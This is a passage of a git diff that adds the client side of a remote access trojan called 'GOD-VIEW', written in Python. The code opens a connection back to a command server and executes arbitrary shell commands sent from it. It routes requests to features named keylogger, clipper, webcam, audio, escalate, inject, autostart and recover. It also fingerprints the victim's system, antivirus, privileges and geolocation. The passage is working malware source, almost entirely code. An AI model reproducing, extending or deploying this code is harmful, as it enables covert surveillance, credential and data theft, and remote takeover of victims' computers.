self.__queue.put(snapshot, + timeout=Static.LIVE_TIMEOUT) + + @Error.quiet_thread + def __send(self): + with socket.create_connection( + (Static.IP, Static.PORT)) as sock: + Data.send(sock, self.token) + Data.recv(sock) + + while True: + Data.send(sock, self.__queue.get( + timeout=Static.LIVE_TIMEOUT), False) + Data.recv(sock) + + def live(self): + Helper.thread(self.__send) + Helper.thread(self.__grab) diff --git a/client/shell.py b/client/shell.py new file mode 100644 index 0000000..07b7450 --- /dev/null +++ b/client/shell.py @@ -0,0 +1,70 @@ +''' + Handles the running of commands in + the terminal. Timeouts, encoding & + returning the correct data. + + Verified: 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * psutil +''' + +from client.state import ClientStatic +from client.error import ClientError +from shared.state import Static +from shared.error import Error +from shared.data import Data + +import subprocess +import threading +import psutil +import os + + +class Shell: + + @staticmethod + @ClientError.general + def run(data, disable_stderr=False): + if Static.WINDOWS: + data = f'chcp {ClientStatic.CODE_PAGE} > nul && {data}' + + process_timer = threading.Timer(ClientStatic.TIMEOUT, + Shell.__timeout) + process_timer.start() + + process = subprocess.run(data, shell=True, + encoding=Static.ENCODING, + errors=Static.ERRORS, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE) + + if process_timer.is_alive(): + process_timer.cancel() + + if disable_stderr: + if process.returncode == 0: + return process.stdout.strip('\r\n') + else: + return ClientStatic.DEFAULT + else: + return Data.parse(''.join(( + process.stdout, + process.stderr + )).strip('\r\n'), raw=True) + else: + raise TimeoutError('Timeout Awaiting Shell Response') + + @staticmethod + @Error.quiet + def __timeout(): + # NOTE : Works well, only lists the + # cmd.exe & the subprocess, for example + # vim.exe. Does not disturb the other + # threads the client is running + for child in psutil.Process( + os.getpid()).children(True): + child.kill() diff --git a/client/socket.py b/client/socket.py new file mode 100644 index 0000000..26b32c5 --- /dev/null +++ b/client/socket.py @@ -0,0 +1,119 @@ +''' + Handles the initial connection to the server, + adjusting the server settings, sending the + initial client information & directing + actions based on server requests. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from client.error import ClientError, ReconnectError +from client.sysinfo import Sysinfo, Interval, Shell +from client.helper import ClientHelper +from client.state import ClientStatic +from shared.state import Static +from shared.data import Data +import client.action + +import socket +import sys +import os + + +class ClientSocket: + + __CD = 'cd' + __CD_LENGTH = len(__CD) + __RAW_LENGTH = len(Static.RAW) + __EVENTS = ( + 'screenshot', + 'clipboard', + 'keylogger', + 'autostart', + 'download', + 'escalate', + 'snapshot', + 'process', + 'recover', + 'sysinfo', + 'desktop', + 'clipper', + 'webcam', + 'python', + 'upload', + 'inject', + 'system', + 'browse', + 'audio', + 'alert' + ) + + def connect(self): + with socket.create_connection((Static.IP, Static.PORT)) as sock: + Data.send(sock, None) + + collect, ClientStatic.STICKY = [ + bool(setting) for setting in Data.recv(sock)] + + if collect: + Data.send(sock, Sysinfo().collect()) + else: + Data.send(sock, Data.message()) + + while True: + data = self.__response(Data.recv(sock)) + + if data == Static.DISCONNECT: + sys.exit() + elif data == Static.RECONNECT: + raise ReconnectError + elif data == Static.UNINSTALL: + ClientHelper.uninstall() + else: + Data.send(sock, data) + + def __response(self, request): + message, lower = Data.lower(request) + + if message in (Static.INTERVAL, Static.ALIVE): + if Static.WINDOWS: + if ClientStatic.WEBCAM: + # NOTE : The VideoCapture library does + # not allow freeing of vidcap.new_Dev + # instance in a thread, as this will + # deadlock the entire program. This + # makes sure it's cleaned up when the + # webcam deconstructor is called + for key, capture in \ + ClientStatic.WEBCAM.copy().items(): + if not capture.alive: + del ClientStatic.WEBCAM[key] + + if message == Static.INTERVAL: + return Interval.collect() + else: + return '' + elif message in (Static.DISCONNECT, + Static.RECONNECT, + Static.UNINSTALL): + return message + elif lower[:ClientSocket.__CD_LENGTH] == ClientSocket.__CD: + return self.__cd(message) + elif lower[:ClientSocket.__RAW_LENGTH] == Static.RAW: + if lower[ClientSocket.__RAW_LENGTH:ClientSocket.__RAW_LENGTH + + ClientSocket.__CD_LENGTH] == ClientSocket.__CD: + return self.__cd(message[ClientSocket.__RAW_LENGTH:]) + else: + return Shell.run(message[ClientSocket.__RAW_LENGTH:]) + elif lower in ClientSocket.__EVENTS: + return getattr(client.action, lower)(request) + else: + return Shell.run(message) + + @ClientError.general + def __cd(self, message): + os.chdir(message[ClientSocket.__CD_LENGTH:].strip()) + return Data.parse(f'New directory: {os.getcwd()}', status=Static.INFO) diff --git a/client/state.py b/client/state.py new file mode 100644 index 0000000..7541bf5 --- /dev/null +++ b/client/state.py @@ -0,0 +1,47 @@ +''' + Variables that has important impact on during + the execution during runtime. These should be + set prior to building out the client. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 +''' + +from shared.state import Static + + +class ClientStatic: + + BUILD_NAME = 'Production Build' + BUILD_VERSION = '1.0.0' + # NOTE : Applies to pre-connect + STICKY = True + + # NOTE : Don't change + DEFAULT = 'Unkown' + + @classmethod + def setup(cls): + if Static.WINDOWS: + # NOTE : Don't change + cls.WEBCAM = {} + + cls.NAME = 'GOD-VIEW' + cls.CODE_PAGE = '65001' + + # NOTE : Don't change + if Static.TIMEOUT > 7.5: + cls.TIMEOUT = Static.TIMEOUT - 2.5 + else: + cls.TIMEOUT = Static.TIMEOUT + + # NOTE : Server IP + Static.IP = Static.IP + # NOTE : Server port + Static.PORT = Static.PORT + # NOTE : Server encryption secret + Static.SECRET = Static.SECRET + # NOTE : Server encryption salt + Static.SALT = Static.SALT diff --git a/client/sysinfo.py b/client/sysinfo.py new file mode 100644 index 0000000..0f928cd --- /dev/null +++ b/client/sysinfo.py @@ -0,0 +1,256 @@ +''' + Collects large amounts of client information, + which is sent on initial connection to the + server, but also provides interval data. + + Verified: 2020 December 30 & 2021 February 6 + * Follows PEP8 + * Tested Platforms + * Windows 10 + * Third Party Modules + * GPUtil + * psutil +''' + +from client.helper import ClientHelper +from client.state import ClientStatic +from shared.state import Static +from client.shell import Shell + +import urllib.request +import platform +import getpass +import GPUtil +import psutil +import locale +import socket +import json +import uuid +import time +import sys +import re +import os + +if Static.WINDOWS: + import ctypes.wintypes + import ctypes + + +class Interval: + + if Static.WINDOWS: + class LastInputInfo(ctypes.Structure): + _fields_ = [('cbSize', ctypes.c_uint), + ('dwTime', ctypes.c_uint)] + + @staticmethod + def collect(): + return { + 'active_window': ClientHelper.secure(Interval.__active_window), + 'idle_time': ClientHelper.secure(Interval.__idle_time), + 'resource_usage': ClientHelper.secure(Interval.__resource_usage) + } + + @staticmethod + def __active_window(): + if Static.WINDOWS: + window = ctypes.windll.user32.GetForegroundWindow() + length = ctypes.windll.user32.GetWindowTextLengthW(window) + 1 + buffer = ctypes.create_unicode_buffer(length) + ctypes.windll.user32.GetWindowTextW(window, buffer, length) + + if buffer.value: + return buffer.value + else: + return 'No Active Window' + else: + return ClientStatic.DEFAULT + + @staticmethod + def __idle_time(): + if Static.WINDOWS: + input_info = Interval.LastInputInfo() + input_info.cbSize = ctypes.sizeof(input_info) + ctypes.windll.user32.GetLastInputInfo(ctypes.byref(input_info)) + millis = ctypes.windll.kernel32.GetTickCount() - input_info.dwTime + return '{} Minutes'.format(int((millis / (1000 * 60)) % 60)) + else: + return ClientStatic.DEFAULT + + @staticmethod + def __resource_usage(): + return '{}/{}'.format(psutil.cpu_percent(), + psutil.virtual_memory().percent) + + +class Sysinfo: + + if Static.WINDOWS: + __ANTIVIRUS_CMD = (r'wmic /namespace:\\root\securitycenter2 path' + ' antivirusproduct get displayname | more +1') + __PC_CMD = 'wmic computersystem get model, manufacturer | more +1' + + __LOCATION_API = 'https://geolocation-db.com/json/' + __PRIVILEGES = ('Administrator', 'User') + + def __init__(self): + self.__uname = platform.uname() + + def collect(self): + return { + 'operating_system': ClientHelper.secure(self.__operating_system), + 'system_locale': ClientHelper.secure(self.__system_locale), + 'system_uptime': ClientHelper.secure(self.__system_uptime), + 'build_version': ClientHelper.secure(self.__build_version), + 'mac_address': ClientHelper.secure(self.__mac_address), + 'privileges': ClientHelper.secure(self.__privileges), + 'os_version': ClientHelper.secure(self.__os_version), + 'build_name': ClientHelper.secure(self.__build_name), + 'antivirus': ClientHelper.secure(self.__antivirus), + 'username': ClientHelper.secure(self.__username), + 'local_ip': ClientHelper.secure(self.__local_ip), + 'timezone': ClientHelper.secure(self.__timezone), + 'hostname': ClientHelper.secure(self.__hostname), + 'filepath': ClientHelper.secure(self.__filepath), + 'running': ClientHelper.secure(self.__running), + 'cpu': ClientHelper.secure(self.__cpu), + 'gpu': ClientHelper.secure(self.__gpu), + 'ram': ClientHelper.secure(self.__ram), + **self.__pc_model_manufacturer(), + **self.__location() + } + + def __location(self): + try: + response = json.loads(urllib.request.urlopen( + Sysinfo.__LOCATION_API).read()) + + return dict(zip(( + 'external_ip', + 'country', + 'country_code', + 'region', + 'city', + 'latitude', + 'longitude', + 'zip_code' + ), ( + str(response['IPv4']), + str(response['country_name']), + str(response['country_code']), + str(response['state']), + str(response['city']), + str(response['latitude']), + str(response['longitude']), + str(response['postal'])))) + except Exception: + return { + 'external_ip': ClientStatic.DEFAULT, + 'country': ClientStatic.DEFAULT, + 'country_code': ClientStatic.DEFAULT, + 'region': ClientStatic.DEFAULT, + 'city': ClientStatic.DEFAULT, + 'latitude': ClientStatic.DEFAULT, + 'longitude': ClientStatic.DEFAULT, + 'zip_code': ClientStatic.DEFAULT + } + + def __build_name(self): + return ClientStatic.BUILD_NAME + + def __build_version(self): + return ClientStatic.BUILD_VERSION + + def __filepath(self): + return Static.ROOT + + def __username(self): + return self.__verify((getpass.getuser(),)) + + def __cpu(self): + return self.__verify((self.__uname.processor,)) + + def __hostname(self): + return self.__verify((self.__uname.node,)) + + def __os_version(self): + return self.__verify((self.__uname.version,)) + + def __ram(self): + return f'{round(psutil.virtual_memory().total / 1024**3)}GB' + + def __local_ip(self): + return socket.gethostbyname(socket.gethostname()) + + def __mac_address(self): + return ':'.join(re.findall('..', f'{uuid.getnode():012x}')) + + def __system_locale(self): + return ', '.join(locale.getdefaultlocale()) + + def __timezone(self): + return '{} Hours'.format( + time.strftime('%z', time.gmtime())) + + def __operating_system(self): + return self.__verify(( + self.__uname.system, + self.__uname.release, + self.__uname.machine, + '64-bit' if sys.maxsize > 2**32 else '32-bit'), ' ') + + def __running(self): + return 'Python Version {}.{}.{} {} Release'.format( + *sys.version_info[:3], sys.version_info[3].capitalize()) + + def __privileges(self): + if Static.WINDOWS: + if ctypes.windll.shell32.IsUserAnAdmin(): + return Sysinfo.__PRIVILEGES[0] + else: + return Sysinfo.__PRIVILEGES[1] + else: + if os.getuid() == 0: + return Sysinfo.__PRIVILEGES[0] + else: + return Sysinfo.__PRIVILEGES[1] + + def __gpu(self): + return self.__verify([gpu.name for gpu in + GPUtil.getGPUs()], ', ') + + def __pc_model_manufacturer(self): + try: + if Static.WINDOWS: + return dict(zip(('pc_manufacturer', 'pc_model'), Shell.run( + Sysinfo.__PC_CMD, True).strip().split(' ')[:2])) + else: + raise OSError + except Exception: + return { + 'pc_manufacturer': ClientStatic.DEFAULT, + 'pc_model': ClientStatic.DEFAULT + } + + def __antivirus(self): + if Static.WINDOWS: + return ', '.join([av.strip() for av in Shell.run( + Sysinfo.__ANTIVIRUS_CMD, True).strip().split('\n\n')]) + else: + return ClientStatic.DEFAULT + + def __system_uptime(self): + total = int(time.time() - psutil.boot_time()) + + days = divmod(total, 86400) + hours = divmod(days[1], 3600) + minutes = divmod(hours[1], 60) + seconds = divmod(minutes[1], 1) + + return '{} Day{} ({:02}:{:02}:{:02})'.format( + days[0], ClientHelper.plural_int(days[0]), + hours[0], minutes[0], seconds[0]) + + def __verify(self, iterable, join_by=''): + return join_by.join([el if el else + ClientStatic.DEFAULT for el in iterable]) |